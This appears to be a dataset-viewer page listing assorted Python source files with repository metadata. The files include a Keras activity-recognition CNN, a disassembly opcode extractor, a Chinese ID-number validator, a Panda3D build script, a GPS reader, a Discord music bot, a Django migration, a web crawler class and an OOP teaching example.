Reset23/the-stack-v2-new-python · Datasets at Hugging Face

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/sensor/res/activity_recognition.py

7ae2288df12d9e3f0044c99429bf89c61a8729df

[]

no_license

geochri/Human-Activity-Recognition-final-semester-project

24ec496958752d1f5cda981d14c9471dc0b57d45

4b0181bbfdd4d209670acad19294fc3a1e962495

refs/heads/master

2020-05-31T02:09:40.802497

2018-07-27T14:50:43

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from pathlib import Path import pandas as pd import numpy as np import matplotlib.pyplot as plt from scipy import stats from keras.models import Sequential from keras.layers import Dense, Conv2D, MaxPooling2D, Flatten, Dropout from keras import optimizers import datetime from functools import lru_cache @lru_cache() def main(): random_seed = 611 np.random.seed(random_seed) plt.style.use('ggplot') def readData(filePath): # attributes of the dataset columnNames = ['user_id', 'activity', 'timestamp', 'x-axis', 'y-axis', 'z-axis'] data = pd.read_csv(filePath, header=None, names=columnNames, na_values=';', low_memory=False) # pprint(data) return data # def featureNormalize(dataset): # mu = np.mean(dataset, axis=0) # sigma = np.std(dataset, axis=0) # return (dataset - mu) / sigma # # # def plotAxis(axis, x, y, title): # axis.plot(x, y) # axis.set_title(title) # axis.xaxis.set_visible(False) # axis.set_ylim([min(y) - np.std(y), max(y) + np.std(y)]) # axis.set_xlim([min(x), max(x)]) # axis.grid(True) # # def plotActivity(activity, data): # fig, (ax0, ax1, ax2) = plt.subplots(nrows=3, figsize=(15, 10), sharex=True) # plotAxis(ax0, data['timestamp'], data['x-axis'], 'x-axis') # plotAxis(ax1, data['timestamp'], data['y-axis'], 'y-axis') # plotAxis(ax2, data['timestamp'], data['z-axis'], 'z-axis') # plt.subplots_adjust(hspace=0.2) # fig.suptitle(activity) # plt.subplots_adjust(top=0.9) # plt.show() # # def windows(data, size): start = 0 while start < data.count(): yield int(start), int(start + size) start += (size / 2) def segment_signal(data, window_size=90): segments = np.empty((0, window_size, 3)) labels = np.empty((0)) for (start, end) in windows(data['timestamp'], window_size): x = data['x-axis'][start:end] y = data['y-axis'][start:end] z = data['z-axis'][start:end] if (len(data['timestamp'][start:end]) == window_size): segments = np.vstack([segments, np.dstack([x, y, z])]) labels = np.append(labels, stats.mode(data['activity'][start:end])[0][0]) return segments, labels # dataset = readData("H:/projects/8thseme/src/sensor/res/tracker.txt") # for activity in np.unique(dataset['activity']): # subset = dataset[dataset['activity'] == activity][:180] # print(activity) # pprint(subset) # plotActivity(activity, subset) segments, labels = segment_signal(dataset) labels = np.asarray(pd.get_dummies(labels), dtype=np.int8) numOfRows = segments.shape[1] numOfColumns = segments.shape[2] numChannels = 1 numFilters = 128 # number of filters in Conv2D layer # kernal size of the Conv2D layer kernalSize1 = 2 # max pooling window size poolingWindowSz = 2 # number of filters in fully connected layers numNueronsFCL1 = 128 numNueronsFCL2 = 128 # split ratio for test and validation trainSplitRatio = 0.8 # number of epochs Epochs = 10 # batchsize batchSize = 10 # number of total clases numClasses = labels.shape[1] # dropout ratio for dropout layer dropOutRatio = 0.2 # reshaping the data for network input reshapedSegments = segments.reshape(segments.shape[0], numOfRows, numOfColumns, 1) # splitting in training and testing data trainSplit = np.random.rand(len(reshapedSegments)) < trainSplitRatio trainX = reshapedSegments[trainSplit] testX = reshapedSegments[~trainSplit] trainX = np.nan_to_num(trainX) testX = np.nan_to_num(testX) trainY = labels[trainSplit] testY = labels[~trainSplit] def cnnModel(): model = Sequential() # adding the first convolutionial layer with 32 filters and 5 by 5 kernal size, using the rectifier as the activation function model.add( Conv2D(numFilters, (kernalSize1, kernalSize1), input_shape=(numOfRows, numOfColumns, 1), activation='relu')) # adding a maxpooling layer model.add(MaxPooling2D(pool_size=(poolingWindowSz, poolingWindowSz), padding='valid')) # adding a dropout layer for the regularization and avoiding over fitting model.add(Dropout(dropOutRatio)) # flattening the output in order to apply the fully connected layer model.add(Flatten()) # adding first fully connected layer with 256 outputs model.add(Dense(numNueronsFCL1, activation='relu')) # adding second fully connected layer 128 outputs model.add(Dense(numNueronsFCL2, activation='relu')) # adding softmax layer for the classification model.add(Dense(numClasses, activation='softmax')) # Compiling the model to generate a model adam = optimizers.Adam(lr=0.001, decay=1e-6) model.compile(loss='categorical_crossentropy', optimizer=adam, metrics=['accuracy']) for layer in model.layers: print(layer.name) model.fit(trainX, trainY, validation_split=1 - trainSplitRatio, epochs=10, batch_size=batchSize, verbose=2) score = model.evaluate(testX, testY, verbose=2) print('Baseline Error: %.2f%%' % (100 - score[1] * 100)) return model model = cnnModel() return model # x = 2 # while x > 1: # prediction = model.predict(inputdata.reshape(-1, 90, 3, 1)) # labe = ['downstair', 'jogging', 'sitting', 'standing', 'upstair', 'walking'] # result = labe[np.argmax(prediction)] # print(result)

[ "sushil79g@gmail.com'git config --global user.name 'Sushil Ghimire'git config --global user.email sushil79g@gmail" ]

sushil79g@gmail.com'git config --global user.name 'Sushil Ghimire'git config --global user.email sushil79g@gmail

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/post_recent/rf_OXcase_anal.py

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livjgovob0614/w

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refs/heads/master

2022-12-29T12:33:55.424182

2020-10-12T09:44:51

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import sys, os, glob import subprocess os.chdir("/home/jg/kby/disasm/output/200712_232705/") fl= [] f = open("/home/donghoon/ssd/jg/20/learning/rf/fo", 'r') fl.append(f.readlines()) f.close() f = open("/home/donghoon/ssd/jg/20/learning/rf/fx", 'r') fl.append(f.readlines()) f.close() hexf=[] f = open("/home/donghoon/ssd/jg/20/learning/rf/fo_hex", 'r') hexf.append(f.readlines()) f.close() f = open("/home/donghoon/ssd/jg/20/learning/rf/fx_hex", 'r') hexf.append(f.readlines()) f.close() out_f=[] out_f.append(open("/home/donghoon/ssd/jg/20/learning/rf/result/fo_op.list", 'w')) out_f.append(open("/home/donghoon/ssd/jg/20/learning/rf/result/fx_op.list", 'w')) fidx = 0 for f in fl: if fidx == 0: fidx = 1 else: fidx = 2 print (str(fidx)+"th try") op_list = [] l = -1 while l < len(f)-1: l += 1 spl = f[l].split() st = hex(int(spl[2],16)) fn = spl[0] print ("** new fn: " + fn) f2 = open(fn+"/funcText", "r") lines = f2.readlines() f2.close i = -1 while i < len(lines)-1: op = [] i += 1 spl2 = lines[i].split() try: adr = hex(int(spl2[0].split(':')[1], 16)) except IndexError: if len(lines[i]) < 3 or lines[i][:2] != "**": print ("error1") print (lines[i]) sys.exit() continue if st == adr: while (True): save_addr= 0 try: next_adr = hex(int(lines[i+1].split()[0].split(':')[1], 16)) except IndexError: if len(lines[i+1]) < 3 or lines[i+1][:2] != "**": print ("error2") print (lines[i]) sys.exit() i += 1 continue # ~~~ or same, but one instr function #if fn == "libdepthcam3dmodeling_algorithm.arcsoft.so": # print (lines[i]) if adr != next_adr or "// starts at " in lines[i+1] or "End of function" in lines[i+1]: #if fn == "libdepthcam3dmodeling_algorithm.arcsoft.so": # print ("out1") # print (lines[i]) # print (lines[i+1]) break i += 1 ex = False ## if last line, -- ## if i == len(lines)-1: while (True): i -= 1 spl2 = lines[i].split() #if len(spl2) < 2 or lines[i][22:39] != " " or lines[i][39:41] == " " or lines[i][45:51] != " ": #### test... "not" correct? #### if not (len(spl2) < 2 or lines[i][22:39] != " " or ((lines[i][39:41] != "DC" or lines[i][39:44] != "ALIGN") and lines[i][39:40] == " ") or "EXPORT" in lines[i][39:45]) or "WEAK" in lines[i][39:43]: ex = True break if ex: break #print ("error3") #print ("fn: " + fn) #print (hex(int(lines[i-1].split()[0].split(':')[1], 16))) #sys.exit() # Check Operation Code spl2 = lines[i].split() k = 0 DCB, DCD, DCQ = 0, 0, 0 while k < 5: op.append(spl2[1]) # test #if op[-1] == ";" or "loc_" in op[-1]: ''' if op[-1] == "ALIGN": print ("err1") print (fn) for o in op: print (o) print (lines[i]) sys.exit() ''' k += 1 # ******************************************************* # ****************** DC & ALIGN CHECK ******************* # ******************************************************* # if previous operand == DCB: 4 to 1, DCD: 1 to 1, DCQ: 1 to 2 if "ALIGN" in op[-1]: diff = int(lines[i+1].split()[0].split(':')[1],16) - int(lines[i].split()[0].split(':')[1],16) if diff < 4: print("err101") sys.exit() if diff % 4: print("err102") sys.exit() op.pop() k -= 1 for dd in range(int(diff/4)): # XXX op.append(''.join(hexf[fidx-1][l].split()[4*(k-1):4*k])) op.append(''.join(hexf[fidx-1][l].split()[4*k:4*(k+1)])) k += 1 if k == 5: break if "DC" in op[-1]: spl3 = lines[i].split(',') spl4 = lines[i].split() add = 0 if lines[i].split()[1][:2] != "DC": add_ = 1 if op[-1] == "DCB": if DCB: assert(len(spl3) == 0, "err6, fn:" + fn + "\nlines: " + lines[i]) if DCB < 4: DCB_str += hexf[fidx-1][l].split()[4*(k-1) + DCB] if DCB == 4: DCB = 0 op[-1] == DCB_str DCB_str = "" else: DCB += 1 k -= 1 else: assert(False, "err7") #print ("err6") #sys.exit() elif len(spl3) == 1: DCB_str += hexf[fidx-1][l].split()[4*(k-1)] DCB += 1 k -= 1 elif len(spl3) == 4: op[-1] = ''.join(hexf[fidx-1][l].split()[4*(k-1):4*k]) else: print ("err8") sys.exit() elif op[-1] == "DCD": if len(spl3) == 1: op[-1] = ''.join(hexf[fidx-1][l].split()[4*(k-1):4*k]) elif len(spl3) == 4: print ("err100") sys.exit() else: print ("err9") sys.exit() # DCQ # else: if len(spl3) == 1: op[-1] = ''.join(hexf[fidx-1][l].split()[4*(k-1):4*k]) if k < 5: k += 1 op.append(''.join(hexf[fidx-1][l].split()[4*(k-1):4*k])) else: #elif len(spl3) == 4: op.pop() k -= 1 while k < 5: op.append(''.join(hexf[fidx-1][l].split()[4*k:4*(k+1)])) k += 1 i += 1 if i == len(lines)-1: break # *********************************************************************** # ****************** if function end, find next instr ******************* # *********************************************************************** spl2 = lines[i].split() #if len(spl2) < 2 or lines[i][22:39] != " " or lines[i][39:41] == " " or lines[i][45:51] != " ": if len(spl2) < 2 or lines[i][22:39] != " " or ((lines[i][39:41] != "DC" or lines[i][39:44] != "ALIGN") and lines[i][39:40] == " ") or "EXPORT" in lines[i][39:45] or "WEAK" in lines[i][39:43]: if not save_addr: save_addr = i # XXX newF[k-1] = 1 #while not (i == len(lines)-1 or len(spl2) < 2 or lines[i][22:39] != " " or lines[i][39:41] == " " or lines[i][45:51] != " "): while i+1 < len(lines)-1 and (len(spl2) < 2 or lines[i][22:39] != " " or ((lines[i][39:41] != "DC" or lines[i][39:44] != "ALIGN") and lines[i][39:40] == " ") or "EXPORT" in lines[i][39:45]) or "WEAK" in lines[i][39:43]: i+=1 spl2 = lines[i].split() ''' if "ALIGN" in lines[i]: print ("********ALIGN") if (lines[i][39:40] != " "): print ("33") print (lines[i][39:40]) sys.exit() if (lines[i][39:41] != "DC"): print ("11") sys.exit() if (lines[i][39:41] != "DC" and lines[i][39:40] == " "): print ("22") sys.exit() ''' #break if i+1 == len(lines) -1: break if not op: print ("no function start") sys.exit() # test if len(op) == 1 and i+1 < len(lines)-1: print ("err2") print (fn) print (op[0]) print (lines[i]) sys.exit() if k != 5: if i+1 < len(lines)-1: print("err102") sys.exit() while k < 5: op.append(''.join(hexf[fidx-1][l].split()[4*k:4*(k+1)])) k += 1 add = True for e in op_list: if e[:-1] == op: add = False break if save_addr: i = save_addr if add: op.append("( "+fn + ", " + st + " )") op_list.append(op) if l == len(f) - 1 or f[l+1].split()[0] != fn: break l += 1 st = hex(int(f[l].split()[2],16)) #if fn == "libdepthcam3dmodeling_algorithm.arcsoft.so": # print ("new st:", st) op_list.sort() for op in op_list: for n in op: if n == op[-1]: out_f[fidx-1].write(" "+n) else: out_f[fidx-1].write("{:10}".format(n)) #out_f.write('\t\t'.join(op)) out_f[fidx-1].write("\n") print (len(op_list)) out_f[fidx-1].close()

[ "livjgovob@gmail.com" ]

livjgovob@gmail.com

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/src/id_query.py

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pacopink/mca_district_code

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refs/heads/main

2022-12-27T14:18:50.892298

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#!/usr/bin/env python3 import re from data_struct import DistrictCodeDate, IdInfo, DISTRICT_CODE_FILE genders = ('女', '男') r = re.compile(r'\d{17}[0-9X]') factors = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] expects = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] def get_code_map(): h = {} with open(DISTRICT_CODE_FILE, "r", encoding='utf8') as f: for l in f: if l[0] == "#": continue l = l.strip() v = l.split(",") if len(v) != len(DistrictCodeDate._fields): continue dist = DistrictCodeDate(*v) h[dist.code] = dist return h def _district_lookup(): """this is a closure, keep a code_map as h in its context to reuse""" h = get_code_map() return lambda c: h.get(c[0:6]) # refer to the closure district_lookup = _district_lookup() def get_gender(code): return genders[int(code[16:17]) % 2] def checksum(code): """根据factors和expects计算输入的身份证号前17位校验和""" index = sum([factor * int(digit) for factor, digit in zip(factors, code)]) % len(expects) return expects[index] def id_validation_check(code): m = r.match(code) if m is None: print("invalid code pattern") return False expected_cksum = checksum(code) # 和实际的第18位比对校验和 if code[17] == expected_cksum: return True else: print("checksum failed: expect=", expected_cksum, "but actual:", code[17]) return False def parse_id(code, name='NA'): if not id_validation_check(code): return None dist = district_lookup(code) gender = get_gender(code) return IdInfo(name=name, code=code, validity=True, gender=gender, district_info=dist, birthday=code[6:14]) if __name__ == '__main__': while True: code = input("请输入要查询的身份证号码: ") code = code.upper() if code.lower() in ("quit", "exit", "q"): print("good bye") break info = parse_id(code) if info is None: print("非法的身份证号码,无法查询!") else: print("查询成功！结果:\n", info)

[ "13602887904@163.com" ]

13602887904@163.com

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/venv/lib/python3.6/enum.py

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taixingbi/django-postgres-config

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/Users/h/anaconda3/lib/python3.6/enum.py

[ "bitaihang@gmail.com" ]

bitaihang@gmail.com

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/src/run_interrogate.py

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toontownretro/libotp

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2022-12-19T10:55:28.239247

2020-09-14T00:59:03

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import subprocess import glob import sys import os srcdir = os.path.abspath(os.path.dirname(__file__)) pandadir = os.path.abspath(sys.argv[1]) def run_command(cmd): p = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr, shell=True) ret = p.wait() if ret != 0: print("\n") print('The following command return a non-zero value (%d): %s' % (ret, cmd)) sys.exit(ret) def interrogate(module): print('Interrogating', module) cmd = os.path.join(pandadir, 'bin', 'interrogate') cmd += ' -D__inline -DCPPPARSER -DP3_INTERROGATE=1 -D__cplusplus -fnames -string -refcount -assert' cmd += ' -S"%(pandadir)s/include/parser-inc" -S"%(pandadir)s/include" -I"%(pandadir)s/include" -I"%(srcdir)s/movement" -I"%(srcdir)s/nametag"' cmd += ' -I"%(srcdir)s/otpbase"' cmd += ' -srcdir "%(srcdir)s/%(module)s"' cmd += ' -oc "%(srcdir)s/%(module)s_igate.cxx" -od "%(srcdir)s/lib%(module)s.in" -python-native -DCPPPARSER -D__STDC__=1' cmd += ' -D__cplusplus -D__inline -D_X86_ -DWIN32_VC -DWIN32 -module libotp -library %(module)s -Dvolatile=' cmd = cmd % {'pandadir': pandadir, 'module': module, 'srcdir': srcdir} files = glob.glob(os.path.join(srcdir, module, '*.h')) files += glob.glob(os.path.join(srcdir, module, '*.cxx')) for file in files: cmd += ' %s' % os.path.basename(file) run_command(cmd) for module in ('movement', 'nametag'): interrogate(module) os.chdir(srcdir) cmd = os.path.join(pandadir, 'bin', 'interrogate_module') + ' -python-native -oc libotp_module.cxx' cmd += ' -library libotp -module libotp libnametag.in libmovement.in' run_command(cmd)

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theclashingfritz@users.noreply.github.com

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/LoraFTP/gps.py

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megachonker/LoRa

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refs/heads/master

2023-02-19T12:17:38.746441

2021-01-11T00:54:35

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import machine # pour pouvoir géré des fichier import pycom # pour le gestion du module pycom (dans notre cas la led) import time # pour la gestion des temps d'attente from L76GNSS import L76GNSS # pour le module gps from pytrack import Pytrack # shield du modul gps import _thread py = Pytrack() # initialisation du shield l76 = L76GNSS(py, timeout=5) # initialisation GPS time.sleep(2) # pour pas brusquer coord=() def listenGPS(): while True: global coord coord = l76.coordinates() #récupération des coordoné GPS#random.randrange(1000)# _thread.start_new_thread(listenGPS,())

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/main.py

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kravtandr/RACHKO_BOT

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2021-01-21T18:39:11

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""" The MIT License (MIT) Copyright (c) 2020 kravtandr Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import random import discord import asyncio from discord.ext import tasks, commands import youtube_dl #read cfg.txt f = open('cfg.txt', 'r') i = 0 for line in f: if i==0: line = line.split() TOKEN = line[2] i+=1 f.close() #TOKEN = 'token' # Suppress noise about console usage from errors youtube_dl.utils.bug_reports_message = lambda: '' ytdl_format_options = { 'format': 'bestaudio/best', 'outtmpl': '%(extractor)s-%(id)s-%(title)s.%(ext)s', 'restrictfilenames': True, 'noplaylist': True, 'nocheckcertificate': True, 'ignoreerrors': False, 'logtostderr': False, 'quiet': True, 'no_warnings': True, 'default_search': 'auto', 'source_address': '0.0.0.0' # bind to ipv4 since ipv6 addresses cause issues sometimes } ffmpeg_options = { 'options': '-vn' } ytdl = youtube_dl.YoutubeDL(ytdl_format_options) class YTDLSource(discord.PCMVolumeTransformer): def __init__(self, source, *, data, volume=0.5): super().__init__(source, volume) self.data = data self.title = data.get('title') self.url = data.get('url') @classmethod async def from_url(cls, url, *, loop=None, stream=False): loop = loop or asyncio.get_event_loop() data = await loop.run_in_executor(None, lambda: ytdl.extract_info(url, download=not stream)) if 'entries' in data: # take first item from a playlist data = data['entries'][0] filename = data['url'] if stream else ytdl.prepare_filename(data) return cls(discord.FFmpegPCMAudio(filename, **ffmpeg_options, executable="C:/Users/User/PycharmProjects/RACHKO_BOT/ffmpeg/bin/ffmpeg.exe"), data=data) class MyContext(commands.Context): async def tick(self, value): # reacts to the message with an emoji # depending on whether value is True or False # if its True, it'll add a green check mark # otherwise, it'll add a red cross mark emoji = '\N{WHITE HEAVY CHECK MARK}' if value else '\N{CROSS MARK}' try: # this will react to the command author's message await self.message.add_reaction(emoji) except discord.HTTPException: # sometimes errors occur during this, for example # maybe you dont have permission to do that # we dont mind, so we can just ignore them pass class MyBot(commands.Bot): vc = "0" # очень больно так делать #vc = discord.VoiceClient last_ctx = None # и так тоже is_looped = False curr_track = None queue = [] # фальшивая очередь для вывода queue_size = 0 async def get_context(self, message, *, cls=MyContext): # when you override this method, you pass your new Context # subclass to the super() method, which tells the bot to # use the new MyContext class return await super().get_context(message, cls=cls) #bot = commands.Bot(command_prefix='!', description="description") bot = MyBot(command_prefix='!', description="RACHKO-BOT") queue_async = asyncio.Queue() bot.remove_command('help') #ctx.bot.loop.create_task(self.player_loop()) class MyCog(commands.Cog): def __init__(self, bot): self.bot = bot self.index = 0 self.player.start() def cog_unload(self): print("cog_unload") self.player.cancel() #self.printer.stop() @tasks.loop(seconds=5.0) # main loop async def player(self): playing = None paused = None print("is_closed - "+str(bot.is_closed())) if not bot.is_closed(): #check if playing track and connected playing = bot.vc.is_playing() paused = bot.vc.is_paused() print("vc.is_connected() - " + str(bot.vc.is_connected())) print("vc.is_playing()) - " + str(playing)) print("Status: ", end="") if playing or paused: print("playing...") else: if bot.is_looped: await play(ctx= bot.last_ctx, url=bot.curr_track) #print("repeating " +str(bot.queue[0])) print("repeating " + str(bot.curr_track)) else: print("not playing") # check if we have next track if have_next(): print("play next song") print("getting ctx...") ctx = bot.last_ctx print("got ctx " + str(ctx)) await next(ctx) else: print("No next song") print("-----------------------------------------") @player.before_loop async def before_printer(self): #time.sleep(5) print('waiting... for bot ready') await self.bot.wait_until_ready() #time.sleep(5) def have_next(): if queue_async.qsize() > 0: return True else: return False async def setup(): print("setup") bot.add_cog(MyCog(bot)) @bot.command(pass_context=True) async def music(ctx, num = 3): # делает плейлист из уже игравших треков i = 0 count = 0 all_found = False nLines = count_lines("music_base.txt") print("LINES = ", nLines) while not all_found: f = open('music_base.txt', 'r') rand = random.randint(0, nLines) start = random.randint(0, rand) for line in f: #line.rstrip() for line in l line = line.strip() print("i= " + str(i), "count = " + str(count), start, rand) if line.isspace(): print("seek 0") f.seek(0) if i >= start and i == rand: if count < int(num): bot.queue.append(line) await queue_async.put(line) print("+ in q " + str(line)) bot.queue_size += 1 count += 1 rand = random.randint(0, nLines) start = random.randint(0, rand) i = 0 else: print("all found") # bot.queue.reverse() line = await queue_async.get() await play(ctx=ctx, url=line) await queue(ctx) all_found = True return # print(line) else: print("i < start and i != rand") if i<start or i>nLines: i=start print("i = ", i," count = ", count) print("start = ", start, " rand = ", rand) i+=1 i = 0 f.close() #await ctx.send(bot.queue_size) @bot.command(pass_context=True) async def help(ctx): ''' await ctx.send("!help - помощь") await ctx.send("!play - аудио из вк или yt, если уже что-то играет то трек добавляется в очередь. \n" " (стримы не работают, тк все файлы перед воспроизведением скачиваются) ") await ctx.send("!music <число треков> - создает плейлист из треков, которые уже играли, по умолчанию размер плейлиста = 3") await ctx.send("!queue - выводит в текстовый канал текущий плейлист") await ctx.send("!pause - поставить на паузу аудио") await ctx.send("!resume - продолжить воспроизведение") await ctx.send("!next - следующий трек в очереди") await ctx.send("!cur - текущий трек") await ctx.send("!disconnect - отключиться из голосового канала") await ctx.send("!stop - остановить воспроизведение аудио") ''' await ctx.send("```!help - помощь\n" "!play - аудио из вк или yt, если уже что-то играет, то трек добавляется в очередь. \n " " (стримы не работают, тк все файлы перед воспроизведением скачиваются)\n" "!music <число треков> - создает плейлист из треков, которые уже играли, по умолчанию размер плейлиста = 3\n" "!loop - вкл/выкл повтор\n" "!queue - выводит в текстовый канал текущий плейлист\n" "!pause - поставить на паузу аудио\n" "!resume - продолжить воспроизведение\n" "!next - следующий трек в очереди\n" "!cur - текущий трек\n" "!clear - очищает плейлист\n" "!disconnect - отключиться из голосового канала\n" "!stop - остановить воспроизведение аудио\n" "=======================================dev================================================================\n" "!format_music_base - удаляет одинаковые треки из базы```") @bot.command(pass_context=True) async def loop(ctx): # создаем асинхронную фунцию бота bot.is_looped = not bot.is_looped await ctx.send("Повтор: "+str(bot.is_looped)) @bot.command(pass_context=True) async def cur(ctx): # создаем асинхронную фунцию бота await ctx.send("Сейчас играет: " + str(bot.curr_track)) @bot.command(pass_context=True) async def clear(ctx): # очищаем очередь await bot.wait_until_ready() while have_next(): if queue_async.qsize() > 0: bot.queue.pop(0) bot.queue_size -= 1 url = await queue_async.get() bot.queue = [] # фальшивая очередь для вывода bot.queue_size = 0 await ctx.send("Произошло глубинное очищение") @bot.command(pass_context=True) async def join(ctx): # создаем асинхронную фунцию бота channel = ctx.author.voice.channel bot.vc = await channel.connect() await ctx.send("RACHKO-BOT в этом чатике") @bot.command(pass_context=True) async def disconnect(ctx): # создаем асинхронную фунцию бота #await disconnect(*, force=False) await bot.vc.disconnect() #await ctx.send("Disconnect") await ctx.send("Понял. Ушел...") @bot.command(pass_context=True) async def play_test(ctx): # играет любой mp3 из папки где находится bot.vc.play(discord.FFmpegPCMAudio(executable="C:/Users/User/PycharmProjects/RACHKO_BOT/ffmpeg/bin/ffmpeg.exe", source="testing.mp3")) await ctx.send("Playing") @bot.command(pass_context=True) async def queue(ctx): # создаем асинхронную фунцию бота if bot.queue_size == 0: await ctx.send("Ало!!! где треки?") return await ctx.send("======================== Наш текущий плейлист ========================") i = 0 for item in bot.queue: if i==0: await ctx.send(">>" + " " + str(item)) else: await ctx.send(str(i) + " - " + str(item)) i += 1 await ctx.send("======================================================================") @bot.command(pass_context=True) async def next(ctx): # создаем асинхронную фунцию бота bot.last_ctx = ctx await stop(ctx) #await ctx.send("Стоп Размер очереди - " + str(bot.queue_size)) if bot.is_looped: await play(ctx=ctx, url=bot.curr_track) await ctx.send("Повтор") else: if queue_async.qsize() > 0: print("get next track (next)") bot.queue.pop(0) bot.queue_size -= 1 url = await queue_async.get() # await play(ctx=ctx, url=bot.queue[0]) print("start playing " + str(url)) await play(ctx=ctx, url=url) await ctx.send("Следующий трек") else: print("no more tracks") # time.sleep(2) await ctx.send("Ало!!! где треки?") @bot.command(pass_context=True) async def play(ctx, *, url): #f = open('music_base.txt', 'w') f = open('music_base.txt', 'a') f.write(str(url) + '\n') print(str(url) + '\n') f.close() bot.last_ctx = ctx add_task = False # async with ctx.typing(): if bot.vc == "0": print("бот не был подключен, подключаюсь") await join(ctx) bot.queue_size += 1 bot.queue.append(url) print("+ in q " + str(url)) #await queue_async.put(url) add_task = True if bot.vc.is_playing(): await ctx.send("Добавляю в очередь ") # url print("Добавляю в очередь " + str(url)) bot.queue.append(url) bot.queue_size += 1 await queue_async.put(url) else: print("Воспроизведение " + str(url)) player = await YTDLSource.from_url(url, loop=bot.loop) #, stream=True bot.curr_track = url bot.vc.play(player, after=lambda e: print('Player error: %s' % e) if e else None) # await ctx.send("Поток пошел") print("Поток пошел") if add_task: await setup() #ctx.bot.loop.create_task(player_loop(ctx)) @bot.command(pass_context=True) async def test(ctx): bot.last_ctx = ctx print("start") bot.add_cog(MyCog(bot)) print("end") @bot.command(pass_context=True) async def pause(ctx): # создаем асинхронную фунцию бота bot.last_ctx = ctx bot.vc.pause() await ctx.send("Ожидаю") @bot.command(pass_context=True) async def stop(ctx): # создаем асинхронную фунцию бота bot.last_ctx = ctx bot.vc.stop() print("stop") #await ctx.send("Стоп машина") @bot.command(pass_context=True) async def resume(ctx): # создаем асинхронную фунцию бота bot.last_ctx = ctx bot.vc.resume() await ctx.send("Продолжаем") def count_lines(filename, chunk_size=1<<13): with open(filename) as file: return sum(chunk.count('\n') for chunk in iter(lambda: file.read(chunk_size), '')) @bot.command(pass_context=True) async def format_music_base(ctx): nlines=count_lines("music_base.txt") dnlines=nlines input = open('music_base.txt', 'r') source = open('music_base_tmp.txt', 'w') data=[] for line in input: if line not in data: data.append(line) source.write(line) else: dnlines -= 1 if nlines == dnlines: await ctx.send("В базе нет одинаковых треков") else: input.close() source.close() source = open('music_base_tmp.txt', 'r') output = open('music_base.txt', 'w') for line in source: output.write(line) source.close() output.close() print("format music base", nlines, dnlines) await ctx.send("music_base from " + str(nlines) + " to " + str(dnlines)) bot.run(TOKEN)

[ "kravtandr@gmail.com" ]

kravtandr@gmail.com

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/tagz/cart/migrations/0008_remove_cart_tax_total.py

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[]

no_license

NjamiGeorge/taggz

ae654cc8478b7b63deec040e9adc33a2afc6199c

c1878d2bd41971556818d4cd9f35da71d935e185

refs/heads/master

2022-11-25T14:45:11.955945

2017-10-31T03:01:31

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# -*- coding: utf-8 -*- # Generated by Django 1.10 on 2017-07-17 06:00 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('cart', '0007_auto_20170715_0050'), ] operations = [ migrations.RemoveField( model_name='cart', name='tax_total', ), ]

[ "njamygeorge9@gmail.com" ]

njamygeorge9@gmail.com

97d77bcca3c8bc2b45e3bfc2dd41990203cc308e

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/includes/Crawler.py

4eb408d2874f5dc1f88c671012ffa5f954f6f12c

[ "Unlicense" ]

permissive

koteq/hlstats_inviter

586ad639cb90deb901dfb6c13990cd6f9d5c470c

c00253b285c8ab2810b830d780e011c0ed03cf9c

refs/heads/master

2021-01-11T15:27:26.489588

2017-03-21T20:46:16

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import logging import urllib import urllib2 import cookielib logger = logging.getLogger() class Crawler(object): """ Crawls the web while keeping cookies in a temporary jar. """ user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' def __init__(self): self.cookie_jar = cookielib.LWPCookieJar() cookie_handler = urllib2.HTTPCookieProcessor(self.cookie_jar) self.opener = urllib2.build_opener(cookie_handler) def request(self, url, data=None, headers=None): headers = headers or {} headers['User-Agent'] = self.user_agent if data is not None: data = urllib.urlencode(data) headers['Content-type'] = 'application/x-www-form-urlencoded' self.opener.addheaders = headers.items() logger.debug('Requesting %s', url) response = self.opener.open(url, data) return response def ajax(self, url, data=None, headers=None): headers = headers or {} headers['X-Requested-With'] = 'XMLHttpRequest' return self.request(url, data, headers)

[ "rereflex@gmail.com" ]

rereflex@gmail.com

99b2cbedd4464c5e7d62fdf126c0a95f084e93d5

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/Dzien01/08-oop-props-static.py

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[]

no_license

marianwitkowskialx/Enzode

dc49f09f086e4ca128cd189852331d3c9b0e14fb

67d8fd71838d53962b4e58f73b92cb3b71478663

refs/heads/main

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from datetime import date # OOP - metody statyczne, classmethods, properties class Person: def __init__(self, name, age): self.name = name self.age = age def __str__(self): return f"name={self.name}, age={self.age}" @staticmethod def is_adult(age): return age>=18 @classmethod def create_from_year(cls, name, yob): age = date.today().year - yob return cls(name, age) def get_age(self): return self.age def set_age(self, age): self.age = age def del_age(self): del(self.age) AGE = property(get_age, set_age, del_age) person1 = Person("Jan", 33) print(person1) print(Person.is_adult(18)) person2 = Person.create_from_year("Bob", 1980) print(person2) print(person2.AGE) person2.AGE = 44 print(person2.AGE) del(person2.AGE) print(dir(person2))

[ "noreply@github.com" ]

marianwitkowskialx.noreply@github.com

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/src/sleekapps/threads/signals/thread/thread.py

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adepeter/sleekforum

